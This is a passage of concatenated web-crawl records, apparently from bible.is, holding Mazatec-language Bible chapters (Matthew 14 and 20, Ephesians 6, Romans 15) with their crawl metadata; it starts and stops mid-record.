ni̱to̱ón kitsobà'ñó tsja, kitsò‑la̱: ―¡Chibaá mokjeiín‑lè i̱t'aà ts'a̱n! ¿Mé‑ne jò kòbeè‑la̱ takoìn? 32K'e̱ nga jahas'en‑ne chitso ingajò, ni̱to̱ón kisijyò‑ne tjo̱. 33Jñà xi̱ta̱ xi títsa̱jnaya chitso chincha-xkó'nchit'aà‑la̱ Jesús, kitsò‑la̱: ―¡Xi o̱kixi̱, ji̱‑né xi Ki'ndí‑la̱ Nainá! 34K'e̱ nga jye tsatojiìn ndáchikon, ijchò ján nangui Genesaret. 35Jñà xi̱ta̱ xi ya̱ i̱'nde‑la̱, k'e̱ nga kijtseèxkon Jesús nga jè xi ya̱ ijchò, kisìkí'nchré xíkjín kóho̱kji ya̱ i̱'nde ñánda chrañàt'aà; i̱kjoàn j'iìko̱‑la̱ ngats'iì xi̱ta̱ xi xk'én ya̱ ñánda tíjna Jesús. 36Tsibítsi'ba‑la̱ na̱s'ín ta̱ jè i̱tjòn nikje‑la̱ tsobà'ñó nga kàtandaà‑ne; ngats'iì xi kitsobà'ñó nikje‑la̱ kjòndaà yijeé‑ne.\nSan Mateo 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/14","date":"2013-12-13T10:11:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164928424\/warc\/CC-MAIN-20131204134848-00044-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":747,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn ra i̱xti 'mì‑no, ti̱hitjasòn‑la jñà xi̱ta̱ jchínga‑no nga̱ ijyeé ya̱ titsa̱jnakjoko̱o Cristo. Nga̱ jñá kjoa̱ kìi̱ ra nda tjín. 2Jè kjo̱téxoma ra tje̱n ko̱'sín tsjá jngo 'én nga 'se̱é‑la̱ kjo̱nda jñà ra síhitjasòn, ki̱í 'sín tsò: \"Nda jcha̱xkín jè na̱'ìn‑li ko̱ jè na̱‑li, 3mé‑ni nga nda ki̱jna‑ni ti̱'koa̱ tse ka̱ma‑li nga ki̱jnakin i̱ i̱sà'nde.\" 4Ko̱ jiòn ra na̱'ìn ma, kì kjo̱jti bi'tsia̱‑la i̱xti‑no; jè ra machjeén nga nda kjón ti̱jchá ko̱ nda kjón ti̱kixi̱ya nga nda ta̱kón‑ya‑la koni 'sín nga mejèn‑la̱ Na̱'ín‑ná. 5Jiòn ra chi̱'nda ma, nda ti̱hitjasòn‑la jè ra ni‑no ma i̱ a̱'ta nangi. Ngi ko̱ó inìma̱‑no nga jcha̱xkón ko̱ nga ti̱skón‑cha koni tsa xá 'tse̱ Cristo ra i̱nchi'nià. 6Kì ta 'kia̱ nda nihitjasòn 'kia̱ nga i̱nchisíkinda̱‑no, nga ta jè mejèn‑no nga jè nda ko̱chrjengi‑no; 'koa̱á 'sín 'tia̱àn koni tsa jè‑ni Cristo ra i̱nchinitjasòn‑la nga ngi ko̱ó inìma̱‑no nga ti̱hitjasòn koni 'sín mejèn‑la̱ Nainá. 7Ngi ko̱ó kjo̱tsja ra tjíjin inìma̱‑no 'tia̱àn jè xá‑no, 'koa̱á jngoya‑la̱ koni tsa 'tse̱ kjòn‑ni Na̱'ín‑ná jè xá ra i̱nchi'nià ko̱ mì tsa 'tse̱ xi̱ta̱‑jìn. 8Ijyeé 'ya‑nájiòn nga ni̱'sín xi̱ta̱ chi̱'nda ko̱ ni̱'sín mì tsa xi̱ta̱ chi̱'nda, 'koa̱á 'sín tjín kjo̱tjò ra tjábé‑la̱ a̱'ta 'tse̱ Na̱'ín‑ná koni 'sín tjín kjo̱nda ra 'si̱in nga jngó jngó. 9Jiòn ra ni‑la̱ xá 'mì‑no, 'koa̱á ti̱'sín tjò 'tia̱àn jñà chi̱'nda‑no. Kì ta̱ tsja chitiko̱‑no. Ko̱'sín nda katasijin‑no, nga jè Ni‑la̱ xi̱ta̱ chi̱'nda kìi̱, ko̱ jè Ni‑najiòn ya̱á tíjna ya̱ ján ngajmi, ko̱ ra Jè, mì tsa fahájin jñà xi̱ta̱, ta ngásòn ngáyaá tsjake nga'tsiòo̱. 10Jiòn 'ndsé, 'koa̱á 'sín tíxin‑no jè 'én ra fehe'ta‑ni: Tjatsjio jè Na̱'ín‑ná mé‑ni nga jè katatsjá nga'ñó‑la̱ jè inìma̱‑no, jè nga'ñó ra bato tse tjín‑la̱ ra jè. 11Koni 'sín nga bìtsa̱nda jñà chíchàn nga kjábé nga'tsì tsajmì ra 'ba 'kia̱ nga fì kjo̱jchán, ko̱'sín ti̱tsa̱nda nga si̱chjeén nga'tsì nga'ñó ra tsjá Nainá, mé‑ni nga ma nga 'ñó ki̱tsa̱jna‑no nga mì jè xi̱ta̱‑ni̱í sko̱ónda̱cha̱‑no. 12Nga̱ mì tsa xi̱ta̱ i̱sà'nde‑jìn ra i̱nchibixkàn‑ke̱é. Jñá‑ní ra xi̱ta̱xá ítjòn‑la̱ ni̱í ra tjín ya̱ a̱jin i̱sén, jñà ra mì kì tsijen‑ni; ko̱ nga'tsì ra tjín‑la̱ kjo̱téxoma 'tse̱ ni̱í; ko̱ nga'tsì ra batéxoma ya̱ i̱sà'nde jñò ra̱kìi̱; ko̱ nga'tsì nga'ñó 'cho ra tjín ya̱ a̱jin i̱sén nga tjíjtsa i̱sà'nde. 13Kií ko̱'sín tíxian‑no, ti̱tsa̱nda nga si̱chjeén nga'tsì nga'ñó ra tsjá Nainá mé‑ni nga 'ñó ki̱tsa̱jna‑no 'kia̱ nga jè ni̱chjin nga mejèn‑la̱ sko̱ónda̱cha̱‑no jè xi̱ta̱‑ni̱í. 'Kia̱ nga ijye si̱kijne, takó 'koa̱á 'sín kixi̱ ki̱nchanda‑la ni̱ ta mé kjoa̱‑ni. 14'Koa̱á 'sín nda ti̱nchanda nga nda kjón‑ní ti̱nda̱ba̱'ñó ra kjoa̱kixi̱ koni jngo chíchàn ra 'ñó tjíkjá xìncho̱ ya̱ ndáyá‑la̱; kixi̱ ti̱jchá ijo‑no mé‑ni nga jè ra kjoa̱kixi̱ ya̱ kjójtsa‑no ya̱ a̱sòn inìma̱‑no koni 'sín chíchàn nga bájtsa ya̱ a̱sòn inìma̱‑la̱ chrja̱ba̱ tája ra 'mì coraza. 15'Ñó ti̱tsa̱jnanda ki'tà nga si̱ka'bísòn 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra 'ya kjo̱'nchán koni jngo chíchàn ra 'ñó bíté na'ñó sapàto̱‑la̱ 'kia̱ nga fì kjo̱jchán. 16Nda katamakjiín‑no a̱'ta 'tse̱ Cristo, ko̱ jè kjoa̱ makjiín‑no ko̱si̱ko̱tjì‑no koni 'sín jè chíchàn basìko̱ ra 'mì escudo nga síkji'tso ni'í flecha ra síkasén-tji̱ngi‑la̱ jñà xi̱ta̱ kondra̱‑la̱. 17Ngi nda katafìya‑no nga jè Nainá ijyeé tsachrjekàjin‑no kjo̱hi'in; ko̱ jè kjoa̱ kìi̱ ko̱si̱ko̱‑no koni 'sín basìko̱ jè ki̱cha̱ kàsko̱ ra bí'a sko̱ chíchàn. Ko̱ ko̱'sín nda ti̱chjeén 'én‑la̱ Nainá koni jngo ki̱cha̱ ndajò ra tsjá jè Inìma̱ Tsje‑la̱ Nainá. 18Kì bìkjòn‑la nga bitsa'ba‑la Nainá; ti̱jé'tà ki'ta‑la koni 'sín tsjá‑no 'én jè Inìma̱ Tsje‑la̱. 'Kia̱ nga ko̱'sín 'sia̱an, ti̱tsa̱nda ki'ta ta mé hora‑nì; ko̱ kì bìkjòn‑la nga bitsa'batjiò nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Nainá. 19Ti̱'koa̱á titsa'batjì‑ná ra a̱'ta tsa̱'a̱n mé‑ni nga Nainá tsjá‑na 'én ra kichjàa̱, ko̱ mé‑ni nga mì kì jtsakjon‑naa̱ 'kia̱ nga 'kenájmí‑la̱ xi̱ta̱ jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo, jè ra tjí'ma tsiki. 20Nainá isìkasén‑na nga 'a̱n kichjà ngajo‑la̱ a̱'ta 'tse̱ 'én nda‑la̱; kií ko̱'sín nda̱yá tíjna̱'ya‑na; titsa'batjì‑nájiòn mé‑ni nga ko̱'sín isa̱ 'ñó kichjà‑na 'kia̱ nga 'kenájmíya 'én‑la̱. 21Mé‑ni nga jcha̱‑no mé kjoa̱ ra tíma'tiaa̱n, 'koa̱á 'sín tísikásén‑no jè 'ndsé Tíquico ra 'ñó matsjacheé ko̱ ra nda síhitjasòn‑la̱ Nainá. Jé ko̱ki̱tso̱‑no kó'sín tíjna̱ ra 'a̱n ko̱ mé ra tí'siaa̱n. 22Kií xá tísikásén‑no nga jè 'ke̱èna̱jmí‑no ra a̱'ta tsa̱ji̱n kó'sín titsa̱jna‑ji̱n, ko̱ jè si̱ìjetakòn‑no nga 'se̱‑la̱ nga'ñó inìma̱‑no. 23Nainá ra Na̱'ín‑ná ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑la̱ kjoa̱'nchán inìma̱‑no nga'tsì‑no ra 'ndsé chibé; katatsjá‑no kjo̱tsjacha nga tsjacha 'sia̱an xàngio̱o ko̱ ko̱'sín isa̱ 'ñó nda katakjiín-isa‑no ra a̱'ta 'tse̱ Cristo. 24Ko̱'sín isa̱ tse kjo̱nda katasakó-isa‑la̱ nga'tsì ra ko̱'sín tsjake jè Cristo ra tíjna ítjòn‑ná ra ngi ko̱ó kjo̱tsjacha ra ni̱kjiá fehe'ta tsjake‑ni. Ko̱'sín katama.\nEfesios 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Eph\/6","date":"2013-12-06T14:16:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051789\/warc\/CC-MAIN-20131204131731-00027-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":733,"character_repetition_ratio":0.055,"word_repetition_ratio":0.003,"special_characters_ratio":0.239,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jién ra ijye 'ñó tinche̱é koni 'sín nga makjiín‑ná a̱'ta 'tse̱ kjoa̱ ra tjí'nde‑ná nga 'sie̱én, machjeén‑ní nga ti̱'koa̱ ki̱chíkjoa̱ko̱‑ná jñà xi̱ta̱ ra ko̱'sín makjiín‑la̱ nga mì kì tjí'nde‑la̱ mé kjoa̱ ra 'si̱in. Mì tsa tà jñà kjoa̱ ra nda sasén‑ná kjótsjieé. 2Nga jngó jngó‑ná machjeén‑ní nga jè ko̱'sie̱én kjoa̱ ra nda tjín ra sasén‑la̱ xi̱ta̱ xàngie̱é ra kjo̱nda 'tse̱‑ni, mé‑ni nga ki̱hijin‑isa‑ni kjo̱bítsjen‑la̱ a̱'ta 'tse̱ kjoa̱ ra makjiín‑la̱. 3Nga̱ ti̱'koa̱á jè Cristo mì tsa jñà tsakátsji kjoa̱ ra nda isasèn‑la̱ ijo‑la̱; ta isa̱á a̱'ta 'tse̱é itjasòn koni 'sín tíchja̱ jè xa̱jo̱n 'tse̱ Salmo nga tsò: \"Jñà 'én 'cho ra kiìchja̱jno‑li xi̱ta̱, sabà 'a̱án kiskanè‑na.\" 4Jñà 'én ra isinda nga ti̱'sa̱ kjotseé, kií xá isinda‑ni nga jién ko̱kòn‑ya‑ná, mé‑ni nga jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá si̱ije ikon‑ná, ko̱ ko̱si̱ko̱‑ná nga kixi̱ ki̱nchieé mé‑ni nga jchíña‑lá kjo̱nda ra nchrabá‑ni 'tse̱ Nainá. 5Nainá ra ma‑la̱ síje ikon‑ná ko̱ ma‑la̱ basìko̱‑ná nga kixi̱ minchieé, ko̱'sín jngo kjo̱bítsjen katatsjá‑no nga jngó jngó‑no koni 'sín nga kitsò jè Cristo Jesús, 6mé‑ni nga nga'tsì‑no ngásòn ta̱jngo jta̱ jeya si̱kíjna jè ra Nainá ko̱ ra Na̱'ìn tsò‑la̱ Jesucristo ra tíjna ítjòn‑ná. 7'Koa̱á ma‑ni, ko̱'sín chjíbétjò jiòn xàngio̱o nga jngó jngó‑no, koni 'sín nga iskábétjò‑no jè Cristo mé‑ni nga jeya kíjna‑ni Nainá. 8'Koa̱á xin‑no, jè Cristo Jesús, kií xá 'ji‑nì nga 'ji síxájin‑la̱ jñà xi̱ta̱ judío ra tjí'ta chi̱ba̱ ijo‑la̱ nga tsakón kjoa̱kixi̱ 'tse̱ Nainá, ko̱ nga ji̱í síhitjasòn koni 'sín ijye kitsjà‑la̱ tsa'ba Nainá jñà xi̱ta̱ jchínga‑la̱ kjotseé. 9Ko̱ kií xá 'ji‑te‑ni, mé‑ni nga jñà ra mì tsa xi̱ta̱ judío, jeya si̱ìkíjna‑ni Nainá ta nga̱tjì‑la̱ kjo̱hi̱ma̱takòn ra tjín‑la̱, koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: 'Koa̱á ma‑ni nga 'a̱n, jeyaá síkíjna ya̱ a̱jin‑la̱ xi̱ta̱ na̱xi̱ndá ra mì tsa xi̱ta̱ judío ko̱ se‑náa̱ a̱'ta tsa̱ji jè 'én ra nda tsò. 10Tjí'ta‑te ñánda̱ nga tsò: Jiòn ra mì tsa xi̱ta̱ judío 'mì‑no, tsjaá 'tè‑la takòn ko̱ xi̱ta̱ na̱xi̱ndá‑la̱ Nainá. 11Ti̱'koa̱ tíchja̱á ñánda̱ nga tsò‑te: Nga'tsì ra mì tsa xi̱ta̱ judío 'mì‑no jeya ti̱kíjna jè Na̱'ín‑ná, ko̱ nga'tsì na̱xi̱ndá, 'nga katasíkíjna Nainá. 12India tíchja̱‑isa ya̱ xa̱jo̱n 'tse̱ Isaías nga tsò: Ya̱á ki̱tjo'ta jngo‑ni jts'én ya̱ tje̱‑la̱ Isaí ra ko̱tèxoma‑la̱ jñà ra mì tsa xi̱ta̱ judío, ko̱ jé jts'én ra̱kìi̱ koa̱à'ta ikon, jñà ra mì tsa xi̱ta̱ judío nga sko̱óña‑la̱. 13Nainá ra fa'tatakén nga ma chiñá‑lá kjo̱nda‑la̱, tse katatsjá‑no kjo̱tsja‑la̱ ko̱ kjoa̱'nchán‑la̱, jiòn ra makjiín‑no a̱'ta 'tse̱. Ko̱ jè nga'ñó ra tjín‑la̱ Inìma̱ Tsje‑la̱, katasiko̱‑no nga isa̱ nda kjó'ta takòn nga jchíñakjoa̱‑la jè kjo̱nda‑la̱. 14Tanga jiòn 'ndsè, tjíjngoó takoàn ra a̱'ta tsa̱jiòn nga 'ñó tjín‑no kjo̱nda ko̱ nga nda machi̱ya‑no tà mé kjoa̱‑ni, nga maá‑no jiòn si̱kixi̱ya xi̱ta̱ xàngio̱o nga jngó jngó‑no. 15Ndí 'ndsé, 'koa̱á 'sín tíbindá‑no jè xa̱jo̱n ra̱kìi̱ nga 'ñó kítsja‑la̱ takoàa̱n nga tíchjà kixi̱‑no koni 'sín tjín ra ngi kjo̱hixi̱ mé‑nì nga mì kì si̱jchaàjin‑no jè 'én ra tjí'ta xa̱jo̱n ra tísikásén‑no. Kií ko̱'sín tísíkítsjen‑no nga̱ 'a̱án kitsjà‑na kjo̱tjò‑la̱ Nainá nga kitsjà xá‑na, 16nga chi̱'nda‑la̱ Jesucristo ko̱ma ya̱ a̱jin‑la̱ jñà ra mì tsa xi̱ta̱ judío. Jè xá ra kitsjà‑na Nainá, jè‑ní nga nda sixáko̱ 'én xi̱tse̱‑la̱ Nainá ra nda tsò, mé‑ni nga jñà ra mì tsa xi̱ta̱ judío, katakjábétjò Nainá koni jngo kjo̱tjò ra nda sasén‑la̱, jñà ra ijye Inìma̱ Tsje‑la̱ Nainá isìtsje. 17'Koa̱á ma‑ni nga 'ñó tsja tjín‑na jè xá ra tí'siaa̱n a̱'ta 'tse̱ Nainá koni 'sín nga tísíchjeén‑na jè Cristo Jesús. 18Ni̱mé kjoa̱ tjín ra taxki̱ tíchjàa̱, ta jé‑ní koni 'sín tísíko̱‑na jè Cristo nga 'a̱n tísíchjeén‑na nga tísíxáko̱ jñà ra mì tsa xi̱ta̱ judío mé‑ni nga si̱hitjasòn‑ni koni 'sín mejèn‑la̱ Nainá. 'Koa̱á 'sín tíma koni 'sín nga tíchjàa̱ ko̱ nga tí'siaa̱n, 19nga tí'yaá‑la̱ nga'ñó‑la̱ kjo̱xkón ra bakón kjoa̱jeya‑la̱ Nainá ko̱ nga'ñó‑la̱ Inìma̱ Tsje‑la̱ Nainá. Nga ko̱ 'sín ijye nda ísiká'bísòo̱n jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ítsiki'tsiá kjòn‑na ya̱ Jerusalén ko̱ nga tíjngo skanda ján Ilírico. 20Ko̱ 'koa̱á 'sín ítsikiné‑la̱ ijo‑na̱ nga mì tsa ya̱ tsi'kènájmíya 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ya̱ i̱'nde ñánda̱ ijye ki'sena̱jmíya ra a̱'ta 'tse̱, mé‑ni nga mì 'a̱n kokon‑yá nda‑la̱ jñà xi̱ta̱ ra a̱sa kií'nchré a̱'ta 'tse̱ Cristo ra kj'ií xi̱ta̱ tsi'kéna̱jmí‑la̱. 21'Koa̱á 'sín tí'siaa̱n koni 'sín tíchja̱ jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Jñà xi̱ta̱ ra mì yá tsi'kéna̱jmíya‑la̱ ra a̱'ta 'tse̱, ske̱‑ní; ko̱ jñà xi̱ta̱ ra kjè mé 'én 'nchré ra a̱'ta 'tse̱, ko̱chi̱yaá‑la̱. 22Tà nga̱tjì‑la̱ xá ra tí'siaa̱n, kjokjìn 'ka̱ satéchjà‑na nga mì ma fìjkon‑no. 23Tanga 'ndi̱ 'ndi̱, ijyeé ijyehe'tà xá‑na̱ i̱ i̱'nde ñánda̱ tsá'ba̱; ti̱'koa̱á kjo kjín nó tjín‑ni nga mejèn‑na fìjkon‑najiòn. 24'Kia̱ nga kjiáa̱n ján España, mején‑na nga a̱kjòn ya̱ íjkon‑no. Mejèn‑na nga skexkon‑no 'kia̱ nga kjoáha̱to mé‑ni 'kia̱ nga ijye jchi̱bana̱jmí jngohíjteé, ka̱ma ki̱si̱ko̱‑nájiòn nga kjín‑isa ñánda̱ tífia. 25Tanga 'ndi̱ 'ndi̱, ya̱á tífia ya̱ Jerusalén nga tífìko̱ jngo‑la̱ nga'ñó jñà xi̱ta̱‑la̱ Cristo ra ya̱ títsa̱jna. 26Nga̱ jñà xi̱ta̱‑la̱ Nainá ra títsa̱jna ya̱ Macedonia ko̱ Acaya, 'koa̱á 'sín kjotsja‑la̱ nga tsikíxkó jngo nga'ñó ra kjo̱tjò 'tse̱ na̱xi̱ndá‑la̱ Cristo ra xi̱ta̱ i̱ma̱ ra títsa̱jna ya̱ Jerusalén. 27Ngi ta kjo̱tsja 'tse̱‑ní nga ko̱'sín kitsjà. Nga̱ tje̱n'tin‑te‑la̱ kjo̱nda. Tsa jñà xi̱ta̱ ra mì tsa xi̱ta̱ judío, 'koa̱á 'sín isakò‑la̱ kjo̱nda ya̱ a̱jin inìma̱‑la̱ ra ta nga̱tjì 'tse̱ xi̱ta̱ judío, ti̱'koa̱á tjínè‑te‑la̱ nga ko̱si̱ko̱ ngajo‑ni a̱'ta 'tse̱ nga'tsì tsajmì ra ko̱chjeén‑la̱ ijo‑la̱ jñà xi̱ta̱ judío. 28'Kia̱ nga ijye kje̱he'tà kjoa̱ kìi̱ nga ijye singátsja jè kjo̱tjò ra 'koà‑la̱ ra ijye kjóxkó, a̱kjòn 'kia̱á kjoáa̱to‑no 'kia̱ nga kjián ján España. 29Be‑ná nga 'ñó nda si̱ichikon'tin‑ná Cristo 'kia̱ nga kijchòjkon‑no. 30Tanga 'koa̱á 'sín bitsá'ba‑no a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná ko̱ a̱'ta 'tse̱ kjo̱tsjacha ra tsjá‑ná jè Inìma̱ Tsje‑la̱ Nainá, ti̱nákjoa̱'ta‑la Nainá ra a̱'ta tsa̱'a̱n, jiòn ra ndí 'ndsé xin‑no, 31mé‑ni nga ko̱si̱ko̱‑na Nainá a̱'ta 'tse̱ xi̱ta̱ ra mì kì makjiín‑la̱ ra títsa̱jna ya̱ Judea ko̱ mé‑ni jè kjo̱tjò ra tífìko̱‑la̱ xi̱ta̱‑la̱ Cristo ra títsa̱jna ya̱ Jerusalén nda katasasén‑la̱; 32mé‑ni nga, tsa ko̱'sín mejèn‑la̱ Nainá, nda kijchòjkon‑no nga ngi ko̱ó kjo̱tsja‑na̱ síkjáyako̱‑no. 33Jè Nainá ra tsjá‑ná kjo̱'nchán katijnako̱‑no nga'tsì‑no. Ko̱'sín katama.\nRomanos 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/15","date":"2013-12-12T17:26:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164653483\/warc\/CC-MAIN-20131204134413-00092-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":973,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.345,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koni s'ín otíxoma jè xi ngajmiì nchrobá‑ne, k'oa̱á s'ín ngaya‑la̱ koni tsà jngoò xi̱ta̱ xi tjín‑la̱ nangui. Kiì nga ta̱jñòya nga kiì kátsji chi̱'nda xi si̱ìxáko̱ ñánda tjín‑la̱ toò uva. 2K'e̱ nga jye tsibíndaàjiìn‑ko̱ nga koi̱ìchjí‑la̱ koni tjín síkijne xi̱ta̱ chi̱'nda nga jngoò na̱chrjein, i̱kjoàn kisìkasén ñánda kisìxá. 3Ìjngoò k'a kiì jè nei‑la̱ xá koni xi ñijaàn‑la nga ta̱jñòya. Kijtseè ìsa̱ chi̱'nda xi tíyijòjiìn ndi̱tsi̱n xi tsjìn‑la̱ xá. 4Kitsò‑la̱: \"Tanguió ti̱xáko̱‑ná. 'A̱n kíchjí‑nò koni tjín machjí‑nò.\" Kiì chi̱'nda koi nga kisìxá. 5Jè nei‑la̱ xá, kiì ìjngoò k'a k'e̱ nga ijchò nchisen. Ti̱koa̱á kiì ìjngoò k'a k'e̱ nga ijchò xi jàn nga kjòhoxòn. 6Jye‑la ijchò tsà xi 'òn nga kjòhoxòn, itjo ìjngoò k'a jè nei‑la̱ xá; koa̱ kisakò ìsa̱‑la̱ chi̱'nda xi tà jyò títsa̱jna. Kitsò‑la̱: \"¿Mé‑ne tà jyò títsa̱jna‑nò kó nga kò'ba‑nò na̱chrjein nga mì nìxá‑nò?\" 7Jñà chi̱'nda koi kitsò: \"Koií‑né nga mì yá tsjá xá‑na̱je̱n.\" K'e̱é kitsò‑la̱: \"Tanguió ndaà tsà jñò; tanguí ti̱xá ján i̱jiìn tsojmì tjè‑na̱.\" 8K'e̱ nga jye kòjñò, jè nei‑la̱ xá kitsò‑la̱ jè xi̱ta̱ xi síkinda̱ chi̱'nda‑la̱: \"Ti̱nókjoa̱‑là ngats'iì chi̱'nda. Tichjí‑la. Títs'ia̱ko̱‑ne jñà xi i̱skan kòfahas'en xá‑la̱; koa̱ jñà xi ítjòn kòfahas'en, ti̱kjehet'aà‑ne.\" 9K'e̱é kiìchja̱‑la̱ jñà chi̱'nda xi jahas'en xi 'òn nga kjòhoxòn; k'oa̱á tjín tsibíchjí‑la̱ koni tjín chjí‑la̱ nga jngoò na̱chrjein nga jngoò ìjngoò. 10K'e̱ nga kjòchjí‑la̱ jñà chi̱'nda xi jahas'en ta̱jñòya, k'oa̱á komà‑la̱ tsà ìsa̱á tse ko̱chjí‑la̱. Ta̱nga tà ngásòn tjín kjòchjí‑la̱ koni tjín machjí‑la̱ nga jngoò na̱chrjein nga jngoò ìjngoò. 11K'e̱ nga jye kjòchjí‑la̱ chi̱'nda koi i̱kjoàn tsibíts'ia̱ nga tsatít'aà jè nei‑la̱ xá. 12Kitsò‑la̱: \"Jñà chi̱'nda xi i̱skan kòbijchó, tà jngoò hora kàsíxá, koa̱ ngaje̱n kànìxá‑náje̱n nga kò'ba na̱chrjein koa̱ kànìkjeiín‑la̱je̱n ndobá nga kò'ba na̱chrjein. Tà ngásòn tjín tíbíchjí‑náje̱n.\" 13Ta̱nga jè nei‑la̱ xá kitsò jngoò‑la̱ jñà chi̱'nda: \"Ji̱ amigo mìtsà mé xi ch'o tìsìko̱‑lè; k'oa̱á tjín tìbìchjí‑lè koni tjín chjí‑la̱ nga jngoò na̱chrjein nga k'oa̱á s'ín kàchibá. 14Chjoí chjí‑lè koa̱ t'in‑ne. K'oa̱á s'ín mejèn‑na nga k'oa̱ ti̱ tjín tsjaà‑la̱ jè xi i̱skan kàsíxá koni tjín tìtsjaà‑lè. 15Nga ko̱ to̱n‑na̱, ¿a mì tjí'nde‑na nga k'oa̱s'ín s'iaàn koni s'ín mejèn‑na? ¿A maxìtakòn‑né nga 'a̱n ndaà xi̱ta̱?\" 16Jesús kitsò ìsa̱: ―K'oa̱á s'ín ko̱ma jñà xi̱ta̱ xi títsa̱jna tji̱ngui na̱chrjein i̱'ndei̱, nga ko̱ma i̱skan, jñà kítsa̱jna ítjòn; koa̱ jñà xi títsa̱jna ítjòn i̱'ndei̱ nga ko̱ma i̱skan jñà kjoe̱het'aà‑ne. [Kjìn ma‑ne xi xó chja̱‑la̱ Nainá ta̱nga chiba ma‑ne xi tjájiìn.] 17Jesús k'e̱ nga nchifì ján na̱xa̱ndá Jerusalén, kiìchja̱t'aàxìn‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ xi tejò ma‑ne, kitsò‑la̱: 18―I̱'ndei̱ nga titsa̱honguiá na̱xa̱ndá Jerusalén, 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ ya̱á tsobà'ñó‑na xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés nga koi̱ì'nè‑na kjoa̱biyaà, 19i̱kjoàn si̱ìnga̱tsja‑na jñà xi mìtsà xi̱ta̱ judío nga si̱ìsobà‑na, ko̱jà‑na, ko̱òt'aà‑na krò. Ta̱nga xi ko̱ma jàn na̱chrjein kjoa̱áya‑na. 20Nea̱‑la̱ Jacobo ko̱ Juan i̱xti‑la̱ Zebedeo ijchòkon ñánda tíjna Jesús. Tji̱ko̱ i̱xti‑la̱. Tsasìxkó'nchit'aà‑la̱ Jesús nga kisìjé jngoò‑la̱ kjo̱ndaà. 21Jesús kiskònangui‑la̱, kitsò‑la̱: ―¿Mé xi mejèn‑lè? Jè chjo̱ón kitsò: ―Ya̱ ñánda ko̱ti̱xomai, tjiì o̱kixi̱ nga ya̱ kàtiyijòt'aà‑lè i̱xti‑na̱. Jngoò kàtìjnakixi̱‑lè koa̱ jngoò kàtìjnat'aà‑lè xi ngaskón‑lè. 22Jesús kitsò‑la̱: ―Mìkiì 'yaà mé xi nìjé. ¿A ki̱chìkjoa̱á‑nò nga ko̱tojñoò jè kjo̱'in xi 'a̱n ko̱tojñaà? Xi̱ta̱ koi kitsò: ―Ki̱chìkjoa̱á‑na̱je̱n. 23K'e̱é kitsò‑la̱ Jesús: ―O̱kixi̱‑né, k'oa̱á ti̱s'ín ko̱tojñoò kjo̱'in koni 'a̱n, ta̱nga xi 'a̱n tsjaà‑nò nga ya̱ ki̱tsa̱jnat'aà‑ná ya̱ kixi̱‑na̱ ko̱ ngaskón‑na̱ mìtsà 'a̱n oko̱‑na nga tsjaà‑nò. Jñà i̱'nde koi, jñà tjoé‑la̱ xi̱ta̱ xi Nainá títsa̱jnandaà‑la̱ nga tsjá‑la̱. 24K'e̱ nga kiì'nchré jñà xi̱ta̱‑la̱ Jesús xi i'nga xi te ma‑ne, kòjti‑la̱ i̱t'aà ts'e̱ xi̱ta̱ xi jò ma‑ne. 25Jesús kiìchja̱‑la̱, kitsò: ―Jyeé tíjiìn‑nò nga jñà xi̱ta̱ sko̱‑la̱ na̱xa̱ndá, nangui síkítsa̱jna xi̱ta̱‑la̱ xi jñà otíxoma‑la̱. Ti̱koa̱á jñà xi̱ta̱ xi 'nga xá tjín‑la̱, jñà xi beè nga otíxoma‑la̱ xi̱ta̱. 26Ta̱nga jñò mìkiì k'oa̱s'ín s'e̱en. Tsà jngoò xi̱ta̱ xinguio̱o mejèn‑la̱ 'nga kíjna, jè xi kàtasíxá‑la̱ xi̱ta̱ xi i'nga. 27Ko̱ jè xi mejèn‑la̱ kíjna ítjòn, chi̱'nda‑nò kàtama. 28'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, mìtsà koi xá j'i̱‑na nga 'a̱n ko̱s'in‑na, tà sa̱á 'a̱n 